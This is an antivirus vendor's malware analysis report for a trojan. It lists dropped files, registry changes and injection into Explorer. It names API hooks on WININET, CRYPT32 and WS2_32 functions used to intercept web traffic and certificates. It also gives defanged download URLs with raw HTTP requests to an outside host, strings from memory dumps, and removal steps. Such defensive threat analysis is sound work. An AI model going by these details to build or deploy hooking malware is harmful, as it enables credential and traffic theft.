Trojan.GenericKD.1775408_a992d563f8 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:860
%original file name%.exe:1936
boyd.exe:244
boyd.exe:500

The Trojan injects its code into the following process(es):

Explorer.EXE:1572

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:860 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\YYspHbEdXmj.dll (2784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\FBnndbCBrCbhLvSjYzR (2784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\YYspHbEdXmj.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (0 bytes)

The process %original file name%.exe:1936 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Paoh\boyd.exe (257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp30922f4a.bat (177 bytes)

The process boyd.exe:500 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nso4.tmp\FBnndbCBrCbhLvSjYzR (2784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso4.tmp\YYspHbEdXmj.dll (2784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso4.tmp\YYspHbEdXmj.dll (0 bytes)

Registry activity

The process %original file name%.exe:860 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 62 FE 88 62 F3 BA 6D 03 F0 0B C9 CD 23 FD 66"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsj2.tmp\FBnndbCBrCbhLvSjYzR,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1936 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 8A 00 F7 62 7C 52 E9 62 33 A6 8C 21 EC 77 79"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process boyd.exe:244 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "29 EA 7D 8C DF 9E A1 59 B4 6B FF F4 66 96 6D 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process boyd.exe:500 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2C EE 2D 5F E8 9D B5 42 DE F4 CB 77 47 C9 EA 90"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsj2.tmp\FBnndbCBrCbhLvSjYzR, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsj2.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso4.tmp\FBnndbCBrCbhLvSjYzR,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

Dropped PE files

MD5	File path
db23d243cf8254cad99f45e8a99d1eae	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Paoh\boyd.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:860
%original file name%.exe:1936
boyd.exe:244
boyd.exe:500
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\YYspHbEdXmj.dll (2784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\FBnndbCBrCbhLvSjYzR (2784 bytes)
%Documents and Settings%\%current user%\Application Data\Paoh\boyd.exe (257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp30922f4a.bat (177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso4.tmp\FBnndbCBrCbhLvSjYzR (2784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso4.tmp\YYspHbEdXmj.dll (2784 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: urrryxsxn
Product Name: yqdudkheauhq
Product Version: 5.6.4.3
Legal Copyright: Copyright (C) cwpcfcc 2007
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 5.6.4.3
File Description: awewap dmsmvun hatxvvvgg hsxmadp cfskvyyj
Comments:
Language: English (United States)

Company Name: urrryxsxnProduct Name: yqdudkheauhqProduct Version: 5.6.4.3Legal Copyright: Copyright (C) cwpcfcc 2007Legal Trademarks: Original Filename: Internal Name: File Version: 5.6.4.3File Description: awewap dmsmvun hatxvvvgg hsxmadp cfskvyyjComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23492	23552	4.51363	79f5d2a5c694e8b9ed29bcd757745ec3
.rdata	28672	4558	4608	3.62903	640f709ec19b4ed0455a4c64e5934d5e
.data	36864	3772408	1024	3.37934	ea16c5ba638075b4f442cbd87f1754b5
.ndata	3809280	32768	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	3842048	17712	17920	3.18646	efd2626cacbc131f289f114be5f9c928

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://mybusinessplans.uni.me/movies/300/config.bin
hxxp://p.r.im/	54.243.190.39

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /movies/300/config.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mybusinessplans.uni.me

Cache-Control: no-cache

HTTP/1.1 302 Found

Date: Wed, 13 Aug 2014 09:51:26 GMT

Server: Apache/2.4.6 (Linux/SUSE)

Location: hXXp://p.r.im

Content-Length: 288

Connection: close

Content-Type: text/html; charset=iso-8859-1 <pre><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>& lt;head>.<title>302 Found</title>.</head><body >.<h1>Found</h1>.The document has moved <a href="hXXp://p.r.im">here</a>..<hr>.<addre ss>Apache/2.4.6 (Linux/SUSE) Server at mybusinessplans.uni.me Port 80</address>.</body></html>...</pre> <br

GET / HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cache-Control: no-cache

Host: p.r.im

HTTP/1.1 200 OK

Server: nginx/1.2.1

Date: Wed, 13 Aug 2014 09:51:30 GMT

Content-Type: text/html

Content-Length: 3708

Connection: close

Vary: Accept-Encoding

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_1572_rwx_00ED0000_00027000:

.text

`.data

.reloc

hXXp://VVV.google.com/webhp

PR_OpenTCPSocket

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

: ;2*8.>

3.#70!2)

x#m`a`cmddt-

6 !26!1'1

7"52),,>

;

71.(5;4=

(203,2$0

/?./,5

:>(

8%/

%/>!

HTTP/1.1

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

hXXp://

hXXps://

HTTP/1.

SSSh,4

GetProcessHeap

KERNEL32.dll

SetKeyboardState

ExitWindowsEx

MsgWaitForMultipleObjects

MapVirtualKeyW

GetKeyboardState

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

InternetCrackUrlA

HttpOpenRequestA

HttpAddRequestHeadersA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

WININET.dll

OLEAUT32.dll

NETAPI32.dll

6 6&6/656{6

cGlobal\XXX

nspr4.dll

nss3.dll

SysShadow

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

%Documents and Settings%\%current user%\Application Data\Giora\ucpi.yvh

%Documents and Settings%\%current user%\Application Data\Giora

ucpi.yvh

Global\{B0782840-7A76-C94E-461F-DDEBEC86EE2D}

%Documents and Settings%\%current user%\Application Data

{26039A65-C853-5F35-461F-DDEBEC86EE2D}

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps